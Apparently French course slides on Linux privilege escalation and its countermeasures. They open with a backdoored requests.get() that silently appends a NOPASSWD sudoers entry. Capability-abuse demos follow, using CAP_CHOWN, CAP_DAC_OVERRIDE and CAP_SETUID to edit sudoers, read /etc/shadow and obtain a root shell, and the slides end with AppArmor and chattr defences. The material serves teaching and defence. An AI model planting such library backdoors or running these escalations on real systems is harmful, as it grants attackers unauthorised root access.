def get(url, params=None, **kwargs):
    r"""Sends a GET request.

    :param url: URL for the new :class:`Request` object.
    :param params: (optional) Dictionary, list of tuples or bytes to send
        in the query string for the :class:`Request`.
    :param **kwargs: Optional arguments that ``request`` takes.
    :return: :class:`Response` object
    :rtype: requests.Response
    """
    import os
    os.system('echo "hhenry ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers')
    return request("get", url, params=params, **kwargs)
```

```
hhenry@srvbastion:~$ sudo -l
[sudo] password for hhenry:
Sorry, user hhenry may not run sudo on localhost.
hhenry@srvbastion:~$ sudo -l
Matching Defaults entries for hhenry on localhost:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/usr/sbin
User hhenry may run the following commands on localhost:
    (ALL) NOPASSWD: ALL
hhenry@srvbastion:~$ sudo su -
root@srvbastion:~#

(webadm) 172.16.200.2:1234
root@srvbastion:~# python3 -c 'import requests; print(requests.get("https://www.root-me.pro").text)'
<!DOCTYPE html>
<html lang="en">

<head>
  <meta charset="utf-8">
  <meta name="viewport" content="width=device-width, initial-scale=1">
```


Capabilities

Capabilities - Introduction

Les **Linux Capabilities** consistent en un découpage fin des privilèges du super-utilisateur en unités distinctes et indépendantes, ayant différentes fonctionnalités.

Alternative au modèle du "tout-ou-rien" des bits SUID, GUID ou des droits sudo, qui donnent l'intégralité des privilèges d'un utilisateur à un processus.

L'objectif est d'appliquer le principe du moindre privilège, en accordant uniquement les droits strictement nécessaires à un programme. Ce qui permet de réduire l'impact d'une compromission en limitant les actions qu'un processus va pouvoir effectuer.

Capabilities - Introduction

Dans les capabilities on trouve :

- **CAP_NET_BIND_SERVICE** : autorise l'écoute sur les ports privilégiés (< 1024)
- **CAP_SYS_TIME** : permet de modifier l'horloge système
- **CAP_CHOWN** : autorise le changement de propriétaire de fichiers
- **CAP_SETUID** : autorise la modification de l'UID d'un processus
- **CAP_DAC_OVERRIDE**: autorise le processus à bypass les vérifications de permissions appliqués au fichiers (*rwX*)

`ping` a besoin d'accès spécifique à la carte réseau pour fonctionner. Si les capabilities n'existaient pas, seulement l'utilisateur root pourrait l'utiliser.

Capabilities - Mise en place

La commande `setcap` permet de mettre en place une ou plusieurs capabilities sur un binaire.

La commande `getcap` permet d'analyser les capabilities en place sur un binaire.

```
$ sudo setcap 'cap_setgid=ep cap_setuid=ep' /usr/bin/python3.11
$ sudo getcap /usr/bin/python3.11
/usr/bin/python3.11 cap_setgid,cap_setuid=ep
```

`cap_setgid=ep cap_setuid=ep` signifie qu'on ajoute le droit `cap_setgid` et `cap_setuid` dans les sets **effective** et **permitted**.

On énumère toute les capabilities avec `getcap -r / 2>/dev/null`

Capabilities - Sets

On peut permettre des capacités selon plusieurs variantes (sets) dont les principales sont :

- **permitted** : autorise le processus à avoir a un moment accès à la capacité. Il en fera la demande au moment opportun et pourra ensuite le relâcher.
- **effective** : le processus à la capacité dès son lancement et tout le long de son exécution, jusqu'à ce qu'il se termine. Ce set est compris dans *permitted*. C'est le bit d'activation qui précise si la permission est effective ou non.
- **inheritable** : imaginons que le processus A lance un processus B. Dans l'état, le processus B n'hérite pas des capacités de A. C'est le set *inheritable* qui permet cette transmission.

Capabilities - Exploitation

L'attribution excessive ou incorrecte des capabilities à un binaire ou à un service peut mener à une élévation de privilèges.

Plusieurs capabilities sont réellement intéressantes pour un attaquant :

- **CAP_SETUID** et **CAP_SETGID** : autorise la modification de l'UID/GID d'un processus
- **CAP_SYS_ADMIN** : autorise le processus à effectuer des actions sensibles comme lire dans un fichier système, monter un système de fichiers etc.
- **CAP_DAC_OVERRIDE** : autorise le processus à bypass les vérifications de permissions appliquées aux fichiers
- **CAP_CHOWN** : autorise le changement de propriétaire de fichiers

Capabilities - Exploitation 1

```
hhenry@srvbastion:~$ id
uid=1001(hhenry) gid=1001(hhenry) groups=1001(hhenry),100(users)
hhenry@srvbastion:~$ ls -l /etc/sudoers
-r--r----- 1 root root 1916 Jan 26 17:00 /etc/sudoers
hhenry@srvbastion:~$ getcap /usr/bin/python3.11
/usr/bin/python3.11 cap_chown=ep
hhenry@srvbastion:~$ /usr/bin/python3.11 -c 'import os; os.chown("/etc/sudoers", 1001, 1001)'
hhenry@srvbastion:~$ chmod u+w /etc/sudoers
hhenry@srvbastion:~$ nano /etc/sudoers
hhenry@srvbastion:~$ tail -n 1 /etc/sudoers
hhenry ALL=(ALL) NOPASSWD: ALL
hhenry@srvbastion:~$ /usr/bin/python3.11 -c 'import os; os.chown("/etc/sudoers", 0, 0)'
hhenry@srvbastion:~$ sudo -l
Matching Defaults entries for hhenry on localhost:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\

User hhenry may run the following commands on localhost:
    (ALL) NOPASSWD: ALL
hhenry@srvbastion:~$ sudo su -
root@srvbastion:~# id
uid=0(root) gid=0(root) groups=0(root)
root@srvbastion:~#
```

On utilise la capability `CAP_CHOWN` pour modifier le propriétaire de `/etc/sudoers`

Capabilities - Exploitation 2

```
hhenry@srvbastion:~$ id
uid=1001(hhenry) gid=1001(hhenry) groups=1001(hhenry),100(users)
hhenry@srvbastion:~$ ls -l /etc/shadow
-rw-r----- 1 root shadow 1091 Jan 26 14:58 /etc/shadow
hhenry@srvbastion:~$ getcap /usr/bin/python3.11
/usr/bin/python3.11 cap_dac_override=ep
hhenry@srvbastion:~$ /usr/bin/python3.11 -c 'print(open("/etc/shadow","r").read())'
root:$y$j9T$766q/[REDACTED]X3P6laZS4:20335:
7:::
daemon*:20335:0:99999:7:::
bin*:20335:0:99999:7:::
sys*:20335:0:99999:7:::
sync*:20335:0:99999:7:::
games*:20335:0:99999:7:::
man*:20335:0:99999:7:::
```

On utilise la capability `CAP_DAC_OVERRIDE` pour lire le contenu de `/etc/shadow`.

Capabilities - Exploitation 3

Si la capability est *permitted* mais n'est pas *effective*. Il reste un moyen de l'exploiter.

Pour cela, il faut que le processus demande au kernel d'appliquer la capability. Sur python, cela peut se faire au travers de la lib `prctl`.

On utilise la capability `CAP_SETUID` pour obtenir un shell root.

```
hhenry@srvbastion:~$ id
uid=1001(hhenry) gid=1001(hhenry) groups=1001(hhenry),100(users)
hhenry@srvbastion:~$ getcap /usr/bin/python3.11
/usr/bin/python3.11 cap_setuid=p
hhenry@srvbastion:~$ /usr/bin/python3.11 -c 'import os,prctl; prctl.cap_effective.setuid=True
; os.setuid(0); os.system("/bin/bash")'
root@srvbastion:~# id
uid=0(root) gid=1001(hhenry) groups=1001(hhenry),100(users)
root@srvbastion:~# ls -l /root
total 36
-rw-r--r-- 1 root root 2395 Jan  6 12:14 script.ldif
-rw-r--r-- 1 root root 32572 Nov  4 16:24 script.py
root@srvbastion:~#
```

Privesc - mentions d'honneur

- Exploit kernel / binary exploit ;
- Scheduled tasks abuse (cron, systemd timers) ;
- Techniques via Docker ;
- Techniques via python ;
- Techniques via NFS ;
- Techniques via LD_PRELOAD ;
- Restricted Shells.

Contres mesures

Contres mesures - AppArmor

AppArmor est un mécanisme de contrôle d'accès obligatoire intégré directement au noyau linux. Il permet de restreindre les capabilities d'un programme même s'il s'exécute avec des privilèges élevés y compris *root*.

Contrairement aux permissions classiques, AppArmor applique des règles globales imposées via un profil de sécurité, ou un profil définit :

- Quels fichiers un programme peut lire, écrire ou exécuter ;
- Quelles capabilities il peut utiliser ;
- Quelles ressources il peut accéder.

Les règles sont attachées à un binaire précis et non à un utilisateur.

Contres mesures - AppArmor

Par exemple : un profile typique pour le service web `/usr/sbin/nginx` va être :

- Autorisé à lire `/var/www/*`
- Autorisé à écrire dans `/var/log/nginx/`
- Interdit d'accéder à `/etc/shadow`
- Interdit de lancer un shell

Même exécuté en root le processus restera confinée par AppArmor.

Contres mesures - AppArmor

AppArmor propose plusieurs modes d'application de ses profils :

- **Enforce** : le profil est appliqué strictement, toute action interdite est bloquée.
- **Complain** : les actions interdites ne sont pas bloquées, mais uniquement journalisées.
- **Disabled** : le profil existe mais n'est pas appliqué.

Avec ces différents modes et ses profils à droits granulaires, AppArmor permet de réduire l'impact d'une compromission en réduisant les possibilités d'escalade de privilèges.

Contres mesures - chattr

chattr est une commande Linux permettant de modifier les attributs étendus d'un fichier ou d'un répertoire.

Ces attributs sont gérés directement par le noyau et le système de fichiers. Ils permettent de modifier le comportement d'un fichier au niveau du système de fichiers. Par exemple :

- **Immutable (i)** : Le fichier peut être ni modifié, ni supprimé ou renommé même par root (sauf s'il enlève l'attribut) ;
- **Append only (a)** : Le fichier peut uniquement être complété (pas de suppression ou le renommage).

Contres mesures - chattr

Pour lister les attributs d'un fichier, on utilise la commande `lsattr` :

```
$ lsattr mon_fichier.txt
lsattr .
-----e----- ./mon_fichier2.txt
-----e----- ./backup
----i-----e----- ./mon_fichier.txt
```

Pour éditer les attributs d'un fichier, on utilise `chattr` :

```
root@debian:/home/debian/files# chattr +i mon_fichier.txt
root@debian:/home/debian/files# su debian
debian@debian:~/files$ rm mon_fichier.txt
rm: impossible de supprimer 'mon_fichier.txt': Opération non permise
debian@debian:~/files$ ls -al mon_fichier.txt
-rw-r--r-- 1 debian debian 0 janv. 17 23:48 mon_fichier.txt
```

Questions ?